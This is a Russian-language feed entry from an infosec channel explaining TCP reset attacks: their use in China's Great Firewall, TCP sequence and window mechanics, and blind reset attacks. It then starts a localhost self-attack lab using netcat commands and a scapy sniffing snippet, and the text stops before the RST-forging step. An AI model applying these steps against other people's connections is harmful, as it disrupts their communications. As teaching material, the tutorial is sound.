<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>@it_ha</title><subtitle>Доступ к лучшей информации, мануалам, литературе по информационной безопасности. Отборный контент для обучения и развития.</subtitle><author><name>@it_ha</name></author><id>https://teletype.in/atom/it_ha</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/it_ha?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/it_ha?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-21T13:41:11.751Z</updated><entry><id>it_ha:tcp_reset</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/tcp_reset?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Как работает атака TCP Reset</title><published>2020-05-05T19:02:19.093Z</published><updated>2020-05-05T19:02:19.093Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/78/82/7882762f-c36c-46e4-87b2-a110ad3cb7ec.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/b7/00/b70088ef-28ba-4b2f-95f9-7b26086e611b.png&quot;&gt; Эта атака имела последствия и в реальном мире. Опасения её использования вызвали внесение изменений в сам протокол TCP. Считается, что атака является важнейшим компонентом Великого китайского файрвола («Золотого щита»), который используется китайским правительством для цензурирования Интернета за пределами Китая. Несмотря на её впечатляющую биографию, для понимания механизмов этой атаки необязательно обладать глубокими знаниями работы TCP. Разумеется, понимание её тонкостей способно многому научить вас об особенностях реализации протокола TCP, и, как мы вскоре убедимся, вы даже сможете провести эту атаку против себя при помощи одного только ноутбука.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/b7/00/b70088ef-28ba-4b2f-95f9-7b26086e611b.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Эта атака имела последствия и в реальном мире. Опасения её использования вызвали внесение изменений в сам протокол TCP. Считается, что атака является важнейшим компонентом Великого китайского файрвола («Золотого щита»), который используется китайским правительством для цензурирования Интернета за пределами Китая. Несмотря на её впечатляющую биографию, для понимания механизмов этой атаки необязательно обладать глубокими знаниями работы TCP. Разумеется, понимание её тонкостей способно многому научить вас об особенностях реализации протокола TCP, и, как мы вскоре убедимся, вы даже сможете провести эту атаку против себя при помощи одного только ноутбука.&lt;/p&gt;
  &lt;p&gt; В этом посте мы:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Изучим основы протокола TCP&lt;/li&gt;
    &lt;li&gt;Узнаем, как работает атака&lt;/li&gt;
    &lt;li&gt;Проведём атаку против себя при помощи простого скрипта на Python.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Прежде чем приступать к анализу механики атаки, давайте сначала посмотрим, как она используется в реальном мире.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/d0e/768/854/d0e7688544d90ce84fd01f7aae77b348.png&quot; width=&quot;1500&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2&gt;Как атака TCP reset используется в Великом файрволе?&lt;/h2&gt;
  &lt;p&gt; Великий файрвол (Great Firewall, GFW) — это комплекс систем и техник, используемых китайским правительством для цензурирования Интернета для внутренних китайских пользователей. GFW активно блокирует и разрывает соединения с серверами внутри и снаружи страны, а также пассивно отслеживает Интернет-трафик запрещённого контента.&lt;/p&gt;
  &lt;p&gt; Чтобы не позволить пользователям даже подключаться к запрещённым серверам, GFW использует такие техники, как &lt;em&gt;DNS pollution&lt;/em&gt; и &lt;em&gt;IP blocking&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt; (обе они стоят отдельных статей). Однако иногда файрволу GFW требуется позволить совершить соединение, но затем разорвать его посередине. Например, это необходимо, если требуется выполнить медленный, отложенный анализ подключения, допустим, его корреляцию с другими действиями. Или это используется, если файрволу нужно проанализировать данные, которыми обменивались в процессе соединения, а затем использовать эту информацию, чтобы принять решение о его продолжении или блокировке. Например, может быть разрешён трафик на новостной веб-сайт, но цензурированы видео, содержащие запрещённые ключевые слова.&lt;/p&gt;
  &lt;p&gt; Для этого GFW необходимы инструменты, способные прерывать уже установленные соединения. Один из таких инструментов — это атака TCP reset.&lt;/p&gt;
  &lt;h2&gt;Как работает атака TCP reset?&lt;/h2&gt;
  &lt;p&gt; При атаке TCP reset нападающий разрывает соединение между двумя жертвами, отправляя одной или обеим фальшивые сообщения, приказывающие им немедленно прервать соединение. Такие сообщения называются &lt;em&gt;сегментом сброса TCP&lt;/em&gt;. При обычной работе без участия злоумышленника компьютеры отправляют сегменты сброса TCP, когда они получают неожиданный TCP-трафик и хотят, чтобы отправитель прекратил его передавать.&lt;/p&gt;
  &lt;p&gt; Атака TCP reset злонамеренно эксплуатирует этот механизм, хитростью заставляя жертв преждевременно завершить TCP-соединения, отправляя им фальшивые сегменты сброса. Если фальшивый сегмент сброса изготовлен правильно, то получатель примет его за настоящий сегмент и закроет соединение со своей стороны, прерывая дальнейшую передачу информации по этому соединению. Чтобы продолжить обмен данными, жертвы могут попытаться создать новое TCP-соединение, но у атакующего может быть возможность сбросить и это новое соединение. К счастью, поскольку для сборки и отправки поддельного пакета атакующему нужно время, атаки сбросом по-настоящему эффективны только против долговременных соединений. Кратковременные соединения. например, используемые для передачи небольших веб-страниц, обычно успевают выполнить своё предназначение к тому времени, когда у атакующего появится возможность их сбросить.&lt;/p&gt;
  &lt;p&gt; Отправка фальшивых TCP-сегментов в каком-то смысле является лёгким процессом, потому что ни TCP, ни IP не имеют никаких собственных способов проверки личности отправителя. Существует расширение IP под названием IPSec, обеспечивающее аутентификацию, однако оно используется не так широко. Интернет-провайдеры должны отказывать в передаче IP-пакетов, которые поступают с очевидно ложного IP-адреса, но, как утверждается, такая проверка выполняется очень посредственно. Всё, что может получатель — принять исходный IP-адрес и порт внутри пакета или сегмента за чистую монету, и по возможности использовать для идентификации отправителя более высокоуровневые протоколы, например &lt;a href=&quot;https://habr.com/2014/03/27/how-does-https-actually-work/&quot; target=&quot;_blank&quot;&gt;TLS&lt;/a&gt;. Однако поскольку пакеты сброса TCP являются частью самого протокола TCP, их невозможно проверить при помощи этих высокоуровневых протоколов.&lt;/p&gt;
  &lt;p&gt; Несмотря на простоту отправки фальшивых сегментов, изготовление фальшивого сегмента и выполнение успешной атаки TCP reset всё равно может быть сложной задачей. Чтобы понять, почему так происходит, нам нужно разобраться в работе протокола TCP.&lt;/p&gt;
  &lt;h2&gt;Как работает протокол TCP&lt;/h2&gt;
  &lt;p&gt; Задача протокола TCP — отправка получателю точной копии блока данных. Например, если мой сервер передаёт по протоколу TCP вашему компьютеру HTML, то &lt;em&gt;стек TCP&lt;/em&gt; вашего компьютера (часть его операционной системы, занимающаяся обработкой TCP) должна вывести мой HTML точно в том же виде и порядке, в котором его отправил мой сервер.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/54d/bf5/d64/54dbf5d644d0a3d8ece1cff6cde7b790.jpg&quot; width=&quot;958&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Однако мой HTML не передаётся по Интернету в таком идеально упорядоченном виде. Он разбивается на множество небольших фрагментов (называемых &lt;em&gt;TCP-сегментами&lt;/em&gt;), каждый из которых по отдельности передаётся по Интернету и воссоздаётся в переданном порядке стеком TCP вашего компьютера. Этот восстановленный вывод называется &lt;em&gt;потоком TCP&lt;/em&gt;. Каждый TCP-сегмент передаётся в собственном &lt;em&gt;IP-пакете&lt;/em&gt;, однако для для понимания атаки нам не нужно знать никаких подробностей об IP.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/468/904/175/4689041752b8fa9f66c57c696c4be2ef.jpg&quot; width=&quot;958&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Преобразование сегментов в поток требует внимательности, потому что Интернет ненадёжен. TCP-сегменты могут теряться. Они могут приходить не по порядку, отправляться дважды, повреждаться и испытывать множество других злоключений. Поэтому задача протокола TCP заключается в обеспечении надёжной передачи данных по ненадёжной сети. TCP выполняет эту задачу, требуя от обеих сторон соединения сохранения тесного контакта между друг другом и постоянной передачи сведений о том, какие блоки данных были получены. Это позволяет отправителям понять, какие данные получатель ещё не принял, и повторно передавать те данные, которые были утеряны.&lt;/p&gt;
  &lt;p&gt; Чтобы понять, как работает процесс, нам нужно разобраться, как отправители и получатели используют &lt;em&gt;порядковые номера TCP&lt;/em&gt; для разметки и отслеживания данных, переданных по TCP.&lt;/p&gt;
  &lt;h3&gt;Порядковые номера TCP&lt;/h3&gt;
  &lt;p&gt; Каждый байт, переданный по TCP-соединению, имеет порядковый номер, назначаемый ему отправителем. Принимающие машины используют порядковые номера для перемещения получаемых данных в исходный порядок.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/402/fbc/144/402fbc144a2864f986debfb2ea9b6412.jpg&quot; width=&quot;917&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Когда две машины договариваются о TCP-соединении, каждая машина отправляет другой случайный &lt;em&gt;начальный порядковый номер&lt;/em&gt;. Это порядковый номер, который машина назначит первому отправленному ею байту. Каждому последующему байту назначается порядковый номер предыдущего байта плюс 1. TCP-сегменты содержат &lt;/p&gt;
  &lt;p&gt;&lt;em&gt;TCP-заголовки&lt;/em&gt;, которые являются метаданными, прикреплёнными к началу сегмента. Порядковый номер первого в теле сегмента байта включается в TCP-заголовок этого сегмента.&lt;/p&gt;
  &lt;p&gt; Следует заметить, что TCP-соединения являются двунаправленными, то есть данные могут передаваться в обе стороны и каждая машина в TCP-соединении действует и как отправитель, и как получатель. Из-за этого каждая машина должна назначать и обрабатывать собственный независимый набор порядковых номеров.&lt;/p&gt;
  &lt;h3&gt;Подтверждение получения данных&lt;/h3&gt;
  &lt;p&gt; Когда машина получает TCP-сегмент, она сообщает отправителю сегмента, что он был получен. Получатель делает это при помощи отправления сегмента &lt;code&gt;ACK&lt;/code&gt; (сокращение от «acknowledge» — «подтверждение»), содержащего порядковый номер &lt;em&gt;следующего&lt;/em&gt; байта, который он ожидает получить от отправителя. Отправитель использует эту информацию, чтобы понять, что получатель успешно получил все остальные байты до этого номера.&lt;/p&gt;
  &lt;p&gt; Сегмент &lt;code&gt;ACK&lt;/code&gt; обозначается наличием флага &lt;code&gt;ACK&lt;/code&gt;и соответствующего номера подтверждения в TCP-заголовке сегмента. В протоколе TCP есть всего 6 флагов, в том числе и (как мы вскоре увидим) флаг &lt;code&gt;RST&lt;/code&gt; (сокращение от «reset» — «сброс»), обозначающий сегмент сброса.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/242/452/e35/242452e35d360faf406441ab93f8c383.jpg&quot; width=&quot;852&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Примечание: протокол TCP также позволяет использовать &lt;em&gt;выборочные ACK&lt;/em&gt;, которые передаются, когда получатель получил некоторые, но не все, сегменты в интервале номеров. Например, «Я получил байты 1000-3000 и 4000-5000, но не 3001-3999». Для упрощения я не буду рассматривать выборочные ACK в нашем обсуждении атак TCP reset.&lt;/p&gt;
  &lt;p&gt; Если отправитель передаёт данные, но не получает &lt;code&gt;ACK&lt;/code&gt; для них в течение определённого интервала времени, то он предполагает, что данные были утеряны, и отправляет их повторно, давая им те же самые порядковые номера. Это означает, что если получатель принимает одни и те же байты дважды, то он тривиальным образом использует порядковые номера для избавления от дубликатов без нарушения потока. Получатель может принимать дублирующиеся данные, потому что исходный сегмент был получен позже, уже после того, как был отправлен повторно, или потому, что исходный сегмент был успешно получен, но соответствующий &lt;code&gt;ACK&lt;/code&gt; потерялся на пути к отправителю.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/e6d/22f/a09/e6d22fa098d7375dab30e6c8341ff358.jpg&quot; width=&quot;954&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Пока такие дублирующиеся данные встречаются достаточно редко, вызываемые ими избыточные траты ресурсов не приводят к проблемам. Если все данные рано или поздно добираются до получателя, а соответствующие им &lt;code&gt;ACK&lt;/code&gt; доходят до отправителя, то TCP-соединение справляется со своей работой.&lt;/p&gt;
  &lt;h3&gt;Выбор порядкового номера для фальшивого сегмента&lt;/h3&gt;
  &lt;p&gt; При создании ложного сегмента &lt;code&gt;RST&lt;/code&gt; злоумышленнику нужно дать ему порядковый номер. Получателей вполне устраивает, что нужно принимать сегменты с непоследовательными порядковыми номерами и самостоятельно соединять их в нужном порядке. Однако их возможности ограничены. Если получатель принимает сегмент с порядковым номером, который «слишком» выбивается из порядка, то он отбрасывает такой сегмент.&lt;/p&gt;
  &lt;p&gt; Следовательно, для успешной атаки TCP reset требуется правдоподобный порядковый номер. Но что считается таким номером? Для большинства сегментов (хотя, как мы увидим позже, не для &lt;code&gt;RST&lt;/code&gt;), ответ определяется &lt;em&gt;размером TCP-окна&lt;/em&gt;.&lt;/p&gt;
  &lt;h3&gt;Размер TCP-окна&lt;/h3&gt;
  &lt;p&gt; Представьте древний компьютер начала 1990-х, подключённый к современной гигабитной волоконно-оптической сети. Сверхбыстрая сеть может передавать данные этому престарелому компьютеру с потрясающей скоростью, быстрее, чем машина сможет их обработать. Это будет нам мешать, потому что TCP-сегмент нельзя считать полученным, пока получатель не сможет его обработать.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/8a5/299/76a/8a529976a3acd7a28babb9e8220bcb7d.jpg&quot; width=&quot;583&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; У компьютеров есть &lt;em&gt;TCP-буфер&lt;/em&gt;, в котором новые прибывшие данные ожидают обработки, пока компьютер работает над данными, прибывшими до них. Однако этот буфер имеет ограниченный размер. Если получатель неспособен справиться с объёмом передаваемых ему сетью данных, то буфер переполнится. Когда буфер полностью заполнен, у получателя нет другого выбора, кроме как избавляться от избыточных данных. Получатель не отправляет &lt;code&gt;ACK&lt;/code&gt; для отброшенных данных, поэтому отправителю приходится повторно отправлять их, когда в буфере получателя найдётся свободное место. Не важно, с какой скоростью сеть может передавать данные, если получатель не успевает с ними справляться.&lt;/p&gt;
  &lt;p&gt; Представьте чрезмерно ретивого друга, который отправляет вам на почту целый поток из писем быстрее, чем вы сможете его прочитать. Внутри вашего почтового ящика есть определённое буферное пространство, но после его переполнения все непоместившиеся письма выпадут на землю, где их съедят лисы и другие твари. Другу придётся повторно отправлять сожранные письма, а пока у вас будет время на получение его предыдущих сообщений. Отправка слишком большого количества писем или объёма данных, который получатель неспособен обработать — пустая трата энергии и канала передачи.&lt;/p&gt;
  &lt;p&gt; «Слишком много» — какой это объём данных? Как отправитель понимает, когда нужно отправлять ещё данные, а когда стоит подождать? Здесь нам пригождается &lt;em&gt;размер TCP-окна&lt;/em&gt;. Размер окна получателя — это максимальное количество неподтверждённых байтов, которое отправитель может передать ему в любой момент времени. Допустим, получатель сообщает, что его размер окна равен 100 000 (вскоре мы узнаем, как он передаёт это значение), поэтому отправитель передаёт 100 000 байт. Допустим, что ко времени, когда отправитель передал стотысячный байт, получатель отправил сегменты &lt;code&gt;ACK&lt;/code&gt; для первых 10 000 этих байтов. Это означает, что 90 000 байтов до сих пор не подтверждено. &lt;/p&gt;
  &lt;p&gt;Так как размер окна равен 100 000, отправитель может передать ещё 10 000 байт, прежде чем ему придётся ждать новых &lt;code&gt;ACK&lt;/code&gt;. Если после отправки этих 10 000 дополнительных байтов дальнейших &lt;code&gt;ACK&lt;/code&gt; им получено не было, то отправитель упрётся в свой лимит 100 000 неподтверждённых байтов. Следовательно, отправитель должен будет ждать и прекратит отправлять данные (кроме повторной передачи данных, которые он считает утерянными) до момента, пока не получит новые &lt;code&gt;ACK&lt;/code&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/afa/5df/46f/afa5df46f3304b04abbf629ca6ef34a0.jpg&quot; width=&quot;583&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Каждая из сторон TCP-соединения уведомляет другую о размере своего окна в процессе установки связи (handshake), выполняемой при открытии соединения. Кроме того, размеры окон могут динамически изменяться в процессе соединения. Компьютер с большим TCP-буфером может объявить о большом размере окна, чтобы максимизировать пропускную способность. Это позволяет общающейся с ним машине постоянно передавать данные по TCP-соединению, не приостанавливаясь и не ожидая подтверждения. Компьютер с маленьким TCP-буфером может быть вынужден заявить о маленьком размере окна. Иногда отправители полностью заполняют окно и оказываются вынужденными ждать, пока какие-то из сегментов не будут подтверждены. Из-за этого страдает пропускная способность, но это необходимо, чтобы TCP-буферы не переполнялись.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/8e3/d5e/5e0/8e3d5e5e0e4b574c6896e6ef7adc94bc.jpg&quot; width=&quot;583&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Размер TCP-окна — это жёсткое ограничение на объём передаваемых неподтверждённых данных. Мы можем использовать его для вычисления максимально возможного порядкового номера (который в показанном ниже уравнении я обозначил как &lt;code&gt;max_seq_no&lt;/code&gt;), который отправитель может отправить в текущий момент времени:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;max_seq_no = max_acked_seq_no + window_size&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;max_acked_seq_no&lt;/code&gt; — это максимальный порядковый номер, для которого получатель отправил &lt;code&gt;ACK&lt;/code&gt;. Это максимальный порядковый номер, о котором отправителю известно, что получатель точно его принял. Так как отправитель может передавать только &lt;code&gt;window_size&lt;/code&gt; неподтверждённых байтов, максимальный порядковый номер, который он может отправить, равен &lt;code&gt;max_acked_seq_no + window_size&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt; Из-за этого спецификация TCP гласит, что получатель должен игнорировать любые получаемые им данные, имеющие порядковые номера вне допустимого окна. Например, если получатель подтвердил все байты до 15 000, а его размер окна равен 30 000, то он будет принимать любые данные с порядковым номером в интервале от 15 000 до (15 000 + 30 000 = 45 000). При этом получатель полностью игнорирует данные с порядковыми номерами вне этого интервала. Если сегмент содержит данные, часть которых находится в пределах этого окна, а часть — за его пределами, то данные внутри окна будут приняты и подтверждены, но данные за его пределами будут отброшены. Заметьте, что мы по-прежнему игнорируем возможность &lt;em&gt;выборочных &lt;code&gt;ACK&lt;/code&gt;&lt;/em&gt;, которых вкратце коснулись в начале поста.&lt;/p&gt;
  &lt;p&gt; В случае большинства TCP-сегментов это правило даёт нам интервал приемлемых порядковых номеров. Однако, как было сказано ранее, накладываемые на сегменты &lt;code&gt;RST&lt;/code&gt; ограничения ещё строже, чем ограничения для обычных сегментов передачи данных. Как мы вскоре увидим, это сделано для усложнения проведения разновидности атаки TCP reset под названием &lt;/p&gt;
  &lt;p&gt;&lt;em&gt;«атака TCP reset вслепую» (blind TCP reset attack)&lt;/em&gt;.&lt;/p&gt;
  &lt;h3&gt;Приемлемые порядковые номера для сегментов RST&lt;/h3&gt;
  &lt;p&gt; Обычные сегменты принимаются, если их порядковый номер находится в интервале от следующего ожидаемого порядкового номера и этого номера плюс размер окна. Однако пакеты &lt;code&gt;RST&lt;/code&gt; принимаются только тогда, когда их порядковый номер &lt;em&gt;точно равен&lt;/em&gt; следующему ожидаемому порядковому номеру. Вернёмся к предыдущему примеру, в котором получатель отправил номер подтверждения 15 000. Чтобы пакет &lt;code&gt;RST&lt;/code&gt; был принят, его порядковый номер должен быть точно равен 15 000. Если получатель получает сегмент &lt;code&gt;RST&lt;/code&gt; с порядковым номером, не равным 15 000, то он не примет его.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/1d9/596/b55/1d9596b55bb0ac4946ed16ff6b878dff.jpg&quot; width=&quot;637&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Если порядковый номер вне интервала, то получатель полностью его игнорирует. Однако если он находится в пределах окна ожидаемых порядковых номеров, то получатель отправляет «challenge &lt;code&gt;ACK&lt;/code&gt;» («ACK вызова»). Это сегмент, сообщающий отправителю, что сегмент &lt;code&gt;RST&lt;/code&gt; имеет неверный порядковый номер. Также он сообщает отправителю порядковый номер, который ожидает получатель. Отправитель может использовать эту информацию из &lt;code&gt;ACK&lt;/code&gt; вызова для воссоздания и повторной отправки своего &lt;code&gt;RST&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt; До 2010 года протокол TCP не накладывал этих дополнительных ограничений на сегменты &lt;code&gt;RST&lt;/code&gt;. Сегменты &lt;code&gt;RST&lt;/code&gt; принимались или отклонялись в соответствии с теми же правилами, что и любые другие. Однако это слишком упрощало &lt;em&gt;атаки TCP reset вслепую&lt;/em&gt;.&lt;/p&gt;
  &lt;h3&gt;Атаки TCP reset вслепую&lt;/h3&gt;
  &lt;p&gt; Если атакующий имеет возможность перехвата трафика, которым обмениваются его жертвы, то может считывать порядковые и подтверждающие номера TCP-пакетов жертв. Он может использовать эту информацию для того, чтобы выбирать, какие порядковые номера давать своим фальшивым сегментам &lt;code&gt;RST&lt;/code&gt;. Однако если атакующий не может перехватывать трафик жертв, то не будет знать, какие порядковые номера вставлять. Но он всё равно может передавать любое количество сегментов &lt;code&gt;RST&lt;/code&gt; с любым количеством разных порядковых номеров, надеясь, что один из них окажется верным. Такая атака называется атакой TCP reset вслепую.&lt;/p&gt;
  &lt;p&gt; Как мы уже говорили, в первоначальной версии протокола TCP атакующему достаточно было только подобрать порядковый номер &lt;code&gt;RST&lt;/code&gt; в пределах TCP-окна получателя. В статье под названием «Slipping in the Window» («Протискиваемся в окно») показано, что это слишком упрощало успешные атаки вслепую, так как для почти гарантированного успеха атакующему достаточно было просто отправить несколько десятков тысяч сегментов. Чтобы противостоять этому, правило, заставлявшее получателя принимать сегмент &lt;code&gt;RST&lt;/code&gt;, заменили на описанный выше более строгий критерий. Благодаря новым правилам для осуществления атак TCP reset вслепую нужно отправлять миллионы сегментов, что делает их практически нереализуемыми. Подробности см. в &lt;a href=&quot;https://tools.ietf.org/html/rfc5961&quot; target=&quot;_blank&quot;&gt;RFC-5963&lt;/a&gt;.&lt;/p&gt;
  &lt;h2&gt;Выполняем атаку TCP reset против себя&lt;/h2&gt;
  &lt;p&gt;&lt;em&gt;Примечание: я тестировал этот процесс на OSX, но получил несколько комментариев, что в Linux он не работает нужным образом.&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt; Теперь мы знаем всё о выполнении атаки TCP reset. Атакующий должен:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Наблюдать за сетевым трафиком (&lt;em&gt;«сниффить»&lt;/em&gt; его), передаваемым между двумя жертвами&lt;/li&gt;
    &lt;li&gt;Сниффить TCP-сегмент со включенным флагом &lt;code&gt;ACK&lt;/code&gt; и считать его подтверждённый номер&lt;/li&gt;
    &lt;li&gt;Изготовить ложный TCP-сегмент со включенным флагом &lt;code&gt;RST&lt;/code&gt; и порядковым номером, равным подтверждённому номеру перехваченного сегмента (стоит учесть, что это предполагает медленную передачу, иначе выбранный порядковый номер быстро устареет. (Чтобы повысить шансы на успех, можно передать несколько сегментов &lt;code&gt;RST&lt;/code&gt; с большим интервалом порядковых номеров.)&lt;/li&gt;
    &lt;li&gt;Отправить фальшивые сегменты одной или обеим жертвам, надеясь, что это приведёт к разрыву их TCP-соединения&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Чтобы попрактиковаться, давайте проведём TCP-атаку на самих себя на одном компьютере, общаясь сами с собой через &lt;/p&gt;
  &lt;p&gt;&lt;code&gt;localhost&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;. Для этого нам требуется:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;Настроить TCP-соединение между двумя окнами терминала&lt;/li&gt;
    &lt;li&gt;Написать атакующую программу, которая будет заниматься сниффингом трафика&lt;/li&gt;
    &lt;li&gt;Модифицировать программу так, чтобы она изготавливала и отправляла фальшивые сегменты &lt;code&gt;RST&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt; Давайте приступим.&lt;/p&gt;
  &lt;h3&gt;1. Установка TCP-соединения между двумя окнами терминала&lt;/h3&gt;
  &lt;p&gt; Мы настроим TCP-соединение при помощи инструмента &lt;a href=&quot;https://linux.die.net/man/1/nc&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;netcat&lt;/code&gt;&lt;/a&gt;, который по умолчанию имеется во многих операционных системах. Подойдёт и любой другой &lt;em&gt;TCP-клиент&lt;/em&gt;. В первом окне терминала мы выполним следующую команду:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;nc -nvl 8000&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; Эта команда запускает на нашей локальной машине TCP-сервер, слушающий порт &lt;code&gt;8000&lt;/code&gt;. Во втором окне терминала выполним такую команду:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;nc 127.0.0.1 8000&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; Эта команда пытается создать TCP-соединение с машиной по IP-адресу &lt;code&gt;127.0.0.1&lt;/code&gt; с портом &lt;code&gt;8000&lt;/code&gt;. Теперь между двумя окнами терминала должно установиться TCP-соединение. Попробуйте ввести что-нибудь в одном окне — данные должны будут передаться по TCP-соединению и появиться в другом окне.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/911/301/786/911301786c4f56287f80d38f67ef73f6.gif&quot; width=&quot;549&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;2. Сниффинг трафика&lt;/h3&gt;
  &lt;p&gt; Мы напишем выполняющую сниффинг трафика атакующую программу при помощи &lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://scapy.net/&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;scapy&lt;/code&gt;&lt;/a&gt; — популярной сетевой библиотеки Python. Эта программа использует scapy для считывания данных, передаваемых между двумя окнами терминала, хотя и не является частью соединения. Код программы выложен в &lt;a href=&quot;https://github.com/robert/how-does-a-tcp-reset-attack-work/blob/master/main.py&quot; target=&quot;_blank&quot;&gt;моём репозитории на GitHub&lt;/a&gt;. Программа сниффит трафик соединения и выводит его на терминал. Основным ядром кода является вызов метода &lt;code&gt;sniff&lt;/code&gt; из библиотеки &lt;code&gt;scapy&lt;/code&gt;, расположенный в конце файла:&lt;/p&gt;
  &lt;pre&gt;t = sniff(
        iface=&amp;#x27;lo0&amp;#x27;,
        lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip),
        prn=log_packet,
        count=50)&lt;/pre&gt;
  &lt;p&gt; Этот фрагмент кода приказывает &lt;code&gt;scapy&lt;/code&gt; выполнять сниффинг пакетов в интерфейсе &lt;code&gt;lo0&lt;/code&gt; и фиксировать подробности о всех пакетах как часть нашего TCP-соединения. Вызов имеет следующие параметры:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;iface&lt;/code&gt; — приказывает &lt;code&gt;scapy&lt;/code&gt; слушать сетевой интерфейс &lt;code&gt;lo0&lt;/code&gt;, или localhost&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;lfilter&lt;/code&gt; — функция фильтра, приказывающая &lt;code&gt;scapy&lt;/code&gt; игнорировать все пакеты, не являющиеся частью соединения двух IP-адресов localhost на порте сервера. Эта фильтрация необходима, потому что на машине есть множество других программ, использующих интерфейс &lt;code&gt;lo0&lt;/code&gt;. Мы хотим игнорировать все пакеты, не являющиеся частью нашего эксперимента.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;prn&lt;/code&gt; — функция, которую &lt;code&gt;scapy&lt;/code&gt; должна выполнять для каждого пакета, соответствующего требованиям функции &lt;code&gt;lfilter&lt;/code&gt;. Функция в показанном выше примере просто выводит пакет на терминал. На следующем этапе мы изменим эту функцию, чтобы она также передавала сегменты &lt;code&gt;RST&lt;/code&gt;.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;count&lt;/code&gt; — количество пакетов, которое &lt;code&gt;scapy&lt;/code&gt; должна сниффить до выхода.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Чтобы протестировать эту программу, настройте TCP-соединение из этапа 1. Клонируйте мой репозиторий GitHub, выполните инструкции по настройке и запустите программу в третьем окне терминала. Введите какой-нибудь текст в один из терминалов TCP-соединения. Вы должны увидеть, что программа начнёт фиксировать информацию о сегментах соединения.&lt;/p&gt;
  &lt;h3&gt;3. Отправка фальшивых пакетов &lt;code&gt;RST&lt;/code&gt;&lt;/h3&gt;
